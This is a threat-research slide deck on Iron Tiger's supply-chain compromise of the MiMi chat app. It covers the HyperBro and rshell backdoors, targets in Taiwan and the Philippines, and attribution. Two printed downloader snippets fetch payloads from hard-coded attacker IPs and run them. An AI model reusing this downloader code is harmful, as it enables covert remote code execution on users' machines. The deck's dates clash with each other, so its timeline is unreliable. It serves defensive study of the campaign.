Iron Tiger’s Supply Chain Attack Targeting Windows, MacOS and Linux users

Daniel Lunghi (@thehellu),
Jaromir Horejsi (@JaromirHorejsi)
FIRST Regional Symposium Europe, Bilbao
February 1st, 2022
Outline

• Introduction
• Infection vector
• Malware toolkit
  • HyperBro
  • rshell
• Targets
• Timeline
• Attribution and links
• Additional information on supply chain attack
• Conclusion
Introduction

• Iron Tiger (internally Earth Smilodon)
  • also known as Emissary Panda, APT27, TG-3390, Bronze Union, LuckyMouse

• 2010: the oldest operation we noticed


• Apr. 2021: Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware

• Aug. 2022: Iron Tiger Compromises Chat Application Mimi, Targets Windows, Mac, and Linux Users
Infection vector
Infection vector – secure chat application

- MiMi chat, a multiplatform chat application

  In Chinese language, mì mì (秘密) means “secret”

  Trojanized versions:
  - Nov. 2021: Windows
  - May 2022: Mac OS
Infection vector – secure chat application

- Registration page is limited to certain countries
  - +86: China
  - +1: Canada
  - +1: USA
  - +852: Hong Kong
  - +853: Macao
  - +886: Taiwan
  - +63: Philippines
  - +65: Singapore
  - +66: Thailand
  - +81: Japan
  - +82: South Korea
Infection vector – secure chat application

- Desktop chat application
  - Built with ElectronJS framework (multiplatform)
  - `electron-main.js` file modified to download the malicious payload
Infection vector – patched chat app

- electron-main.js contains code obfuscated with Dean Edwards’ JS packer
Infection vector – patched chat app

- Dean Edwards’ JS packer
Infection vector – downloader

- HyperBro downloader

```javascript
function downloadFile(uri, filename, callback) {
    var stream = fs.createWriteStream(filename);
    request(uri).pipe(stream).on('close', callback)
}

if (os.platform() == "win32") {
    var dest = os.tmpdir() + '/';
    var url = "http://45.77.250.141/";
    downloadFile(url + 'dlpprem32.bin', dest + 'dlpprem32.bin', () => {
        downloadFile(url + 'dlpprem32.dll', dest + 'dlpprem32.dll', () => {
            downloadFile(url + 'dlpumgr32.exe', dest + 'dlpumgr32.exe', () => {
                console.log("download finish");
                exec(dest + 'dlpumgr32.exe')
            })
        })
    })
}
```
Infection vector – downloader

- rshell downloader

```javascript
function downloadFile(a, b, c) {
    var d = fs.createWriteStream(b);
    request(a).pipe(d).on("close", c);
}
if (os.platform() == "darwin") {
    var f = os.tmpdir() + "/";
    var g = "http://139.180.216.65/";
    downloadFile(g + "rshell", f + "rshell", () => {
        console.log("download finish");
        exec("chmod +x " + f + "rshell");
        exec(f + "rshell")
    })
}
```
Infection vector – patched chat app

• We retrieved clean (left) and malicious (right) installer
• The modification time interval between both versions was very short (1h30)
Infection vector – Warnings on Windows

• Security warning (unsigned installer) on Windows
Infection vector – Warnings on MacOS

• Several warnings when running DMG installer on MacOS

  1) Safari web browser
Infection vector – Warnings on MacOS

2) Unverified developer warning 1

How to open the installer?
Infection vector – Warnings on MacOS

• “System Preferences” and “Security & Privacy” tab -> click “Open Anyway”
Infection vector – Warnings on MacOS

3) Unverified developer warning 2

The user can finally open the installer
Malware toolkits
HyperBro

- Usually distributed as a set of 3 files (PlugX style)
HyperBro

- Legitimate EXE file with a valid signature
HyperBro

- DLL file loads and executes binary file

Usage of stack strings
HyperBro

• The binary file is either
  • Clear x86 code
  • Self-decrypting x86 code (shikata_ga_nai Metasploit’s encoder)
  • XORed x86 code (usually single-byte)

• The final payload is usually decompressed in memory by calling RtlDecompressBuffer and run
HyperBro

• Custom backdoor, original functions
  • File manager (enumerate volumes, delete, upload, download, list files, run application)
  • Interactive shell
  • Take screenshot
  • Run shellcode injected into newly created process
  • Kill process
  • Service manager (list services, start service, stop service)
HyperBro

- RTTI classes
  - TCaptureData
  - TCaptureMgr
  - TCommand
  - TConfig
  - TDirve (typo included)
  - TFileData
  - TFileDataReq
  - TFileDown
  - TFileInfo
  - TFileMgr
  - TFileUpload
  - Tinfo
  - Tlogin
  - TLoop
  - TPacket
  - TPipeProtocol
  - TProcessInfo
  - TProcessMgr
  - TProtocol
  - TServiceInfo
  - TServiceMgr
  - TShellcodeData
  - TShellcodeMgr
  - TShellMgr
  - TSock
  - TTransConnect
  - TTransData
  - TTransMgr
  - TUserMgr
  - TClipboardInfo
  - TClipboardMgr
  - TFileRename
  - TFileRetime
  - TKeyboardInfo
  - TKeyboardMgr
  - TRegeditKeyInfo
  - TRegeditMgr
  - TRegeditValueInfo

Only in updated version
HyperBro

- Based on the RTTI class names, newer version added:
  - Clipboard stealing features
  - Keylogging features
  - Windows registry features
  - Timestomping features
- URI path changed
  - Old version: “/ajax”
  - Updated version: “/api/v2/ajax”
- Encoded payload name
  - Old version: thumb.db
  - Updated version: thumb.dat
rshell

• Standard backdoor implementing functions
  • Collect OS info and send it to C&C
  • Receive command from C&C to execute
  • Send command execution results back to C&C

• Observed versions compiled for Linux and MacOS
rshell

- OS collection
  - GUID: (randomly generated guid, stored in /tmp/guid)
  - computer name: uname (nodename)
  - IP addresses: (getifaddrs)
  - message type: login
  - username: getpwuid (pw_name)
  - version: uname (release)
rshell

- C&C communication
  - in Binary JSON (BSON) format
  - Not encrypted

```json
{
  "guid": "aaaaa381-1d0d-28de-9c1b-c9c336aa2747",
  "hostname": "debian",
  "lan": "127.0.0.1,192.168.11.11",
  "type": "login",
  "username": "EEE",
  "version": "4.19.0-11-amd64"
}
```
rshell

- Supported backdoor commands

<table>
<thead>
<tr>
<th>Type</th>
<th>Subtype</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cmd</td>
<td>Init</td>
<td>Start new terminal</td>
</tr>
<tr>
<td>Cmd</td>
<td>close</td>
<td>Kill terminal</td>
</tr>
<tr>
<td>Cmd</td>
<td>data</td>
<td>Commands to execute</td>
</tr>
<tr>
<td>File</td>
<td>Init</td>
<td>List root / directory</td>
</tr>
<tr>
<td>File</td>
<td>Dir</td>
<td>List directory</td>
</tr>
<tr>
<td>File</td>
<td>down</td>
<td>Download file</td>
</tr>
<tr>
<td>File</td>
<td>read</td>
<td>Read file</td>
</tr>
<tr>
<td>File</td>
<td>close</td>
<td>Close file</td>
</tr>
<tr>
<td>File</td>
<td>upload</td>
<td>Upload file</td>
</tr>
<tr>
<td>File</td>
<td>write</td>
<td>Write file</td>
</tr>
<tr>
<td>File</td>
<td>Del</td>
<td>Delete file</td>
</tr>
</tbody>
</table>
Targets
Targets

- 13 targets found in our telemetry
- Targeted countries: Taiwan, Philippines
- HyperBro
  - 5 targets, 4 in Taiwan, 1 in Philippines
- rshell
  - 8 targets, 6 in Taiwan, 1 in Philippines
- One target identified as a Taiwanese gaming company
Timeline
Timeline

- **Jun 2021**: Oldest known rshell sample
- **Nov 2021**: MiMi chat installer for Windows modified (version 2.2.0)
- **May to July 2022**: MiMi chat installer for MacOS modified (versions 2.3.0 to 2.3.3)
- **Aug 2022**: Blogpost publication MiMi chat installer clean (version 2.3.4)
Attribution and links
Attribution to Iron Tiger

• HyperBro malware
  • Exclusive to Iron Tiger?
• In October 2019, an updated version of HyperBro was used during Operation DRBControl
• In December 2020, Avast and ESET wrote about campaigns using old versions of HyperBro
• Why would a single group use an old version if they have access to the new one?
Attribution to Iron Tiger

June 2021

nbaya0u2.example.com

45.142.214.193

Reverse DNS

C&C

Linux rshell

nbaya0u1.example.com

138.124.180.108

Reverse DNS

C&C

HyperBro

nbaya0u.example.com

45.142.214.188

Reverse DNS

C&C

SysUpdate

December 2020

October 2020

Iron Tiger APT Updates Toolkit

lists

Reverse DNS

lists
Attribution to Iron Tiger

- HyperBro
  - mentions
  - 139.180.216.65
  - 139.180.216.65
- rshell
- MiMi chat installer
- LuckyMouse
  - hits national data center (waterholing campaign)
- Downloader obfuscated with Dean Edwards’ JS packer
- PE characteristics (imphash, Rich header)
- Hosts
- Signed by
  - HyperBro certificate
  - HyperBro
  - HyperBro
- matches
- listed in
  - German BfV
  - Iron Tiger APT Updates Toolkit
  - HyperBro Pandora SysUpdate
Links to Earth Berberoka

• MiMi chat application was also seen during **Operation GamblingPuppet**, an Earth Berberoka’s campaign

• Threat actor cloned the legitimate website and changed the installer download link (not a supply chain attack)

• The installer embedded the malicious payload and called it after installation (no packed JS code; no further download)
Links to Earth Berberoka

TW gaming company → connection → check.github.wiki → related to Earth Berberoka

Detection on rshell

Reptile uses Earth Berberoka

TW IT company

Connection to trust.veryssl.org

C&C connection from center.veryssl.org to rshell
Supply Chain Attack – additional information
Supply chain attack?

- Is this “MiMi chat” a legitimate application/website?
  - No reference to the developing company on the website
  - Querying for “MiMi chat” on search engines does not return any relevant results

Mimi.exe properties

```
"name": "im-desktop-2.0",
"version": "2.2.1",
"desktopVersion": "2.2.1",
"description": "mimi",
"productName": "mimi",
"author": "SEEKTOP <seektopser.com>"
```

package.json
Supply chain attack?

The company is established in the international business center of Manila, Philippines, and has obtained the registration and operation of the Philippine government. It has complete system technology integration services, and provides customers with the fastest and most complete service quality. Our expertise comes from a consulting team with leading development technology and international standards, and has accumulated more than ten years of practical experience.
Supply chain attack?

Hi! We are Seek Top, a system technology integration technology company. Headquartered in Manila, Makati, Philippines. Mainly develop creative, interesting interactive games, live broadcast of international sports events, hope to find you who have endless creativity in website development. We are currently looking for [Android Engineer], the job information is as follows, you are welcome to join us with enthusiasm!

Android engineer

**Requires 2 years of work experience, if you meet the requirements, please re-submit your resume**

1. We need to be proficient in Java language foundation and have more than 2 years of Android development work experience.
2. Familiar with commonly used data structures and algorithms, and have experienced the development of online Android apps.
3. Familiar with Android SDK, flexibly use various components and mechanisms of Android, and be able to realize components with excellent performance and reusability.
4. Familiar with the Android framework and various features, familiar with object-oriented programming, understand design patterns, etc.
5. Familiar with network programming, Android UI framework and related development tools.
6. Familiar with kotlin, java, MVVM technology application.

- **Salary range:** Negotiable above NT.100,000
- **Salary structure:** basic salary + job performance + quarterly assessment bonus + fixed half-yearly salary adjustment.
- **Remote benefits:** 13-17 salary, year-end 1-4 months, holiday gifts, various paid holidays (annual leave, sick leave, marriage and pregnancy leave), etc.
- **Working hours:** 9:30-18:30 The working hours are fixed at 8 hours, with one or two days off each week.
- **Delivery channel:** Seektopser.com

* This is overseas remote work, please contact me for detailed benefits and work information.

New Taiwan dollar

From Wikipedia, the free encyclopedia

"TWD" redirects here. For other uses, see TWD (disambiguation).

The New Taiwan dollar (code: TWD; symbol: NT$, also abbreviated as NT) is the official currency of Taiwan.
Supply chain attack?

- We found an old version of the mmimchat.com website
- ddqchat.com and hkjump.seektopser.com both resolve to 203.60.2.54
Supply chain attack?

• The first MiMi chat version that was released after the publication of our blogpost, version 2.3.4, was clean
  • It seems the threat actor read our report

• New versions keep being published on the website (latest one is 2.3.7)
Supply chain attack – how?

• We found interesting attackers’ scripts in our telemetry

  TW developer

  \[\text{connects}\]

  \(<\text{subdomain}.seektop.vip\>

  \(<\text{subdomain}.seektopser.com\>

  \(\text{GET /script.js}\)

  \(\text{POST /script.php}\)

  \(\text{trust.veryssl.org}\)

• Script.js is a custom Javascript password grabber

• \(<\text{subdomain}>\) is an authentication portal for dev tool

• Attacker might have used credentials stolen this way to access Seektop build environment
Conclusion
Takeaways

• Supply chain attacks defeat even cautious targets

• Running unsigned installer displays warnings on both Windows and MacOS, users likely used to ignore them

• Attribution requires a lot of caution, as threat actors could share code
Conclusion

• Advanced threat actor with strong technical capabilities, able to identify small development companies to reach their targets
• Custom malware toolkit working on multiple platforms
• Campaign linked to a well-known threat actor, however, links to others threat actors also observed
• The motivation is unclear, but probably espionage
References

• Uncovering DRBControl: Inside the Cyberespionage Campaign Targeting Gambling Operations (whitepaper, Feb 18\textsuperscript{th}, 2020)
• Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware (blogpost, Apr 9\textsuperscript{th}, 2022)
• New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware (blogpost, Apr 27\textsuperscript{th}, 2022)
• Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites (whitepaper, May 24\textsuperscript{th}, 2022)
• Iron Tiger Compromises Chat Application Mimi, Targets Windows, Mac, and Linux Users (blogpost, Aug 12\textsuperscript{th}, 2022)
THE ART OF CYBERSECURITY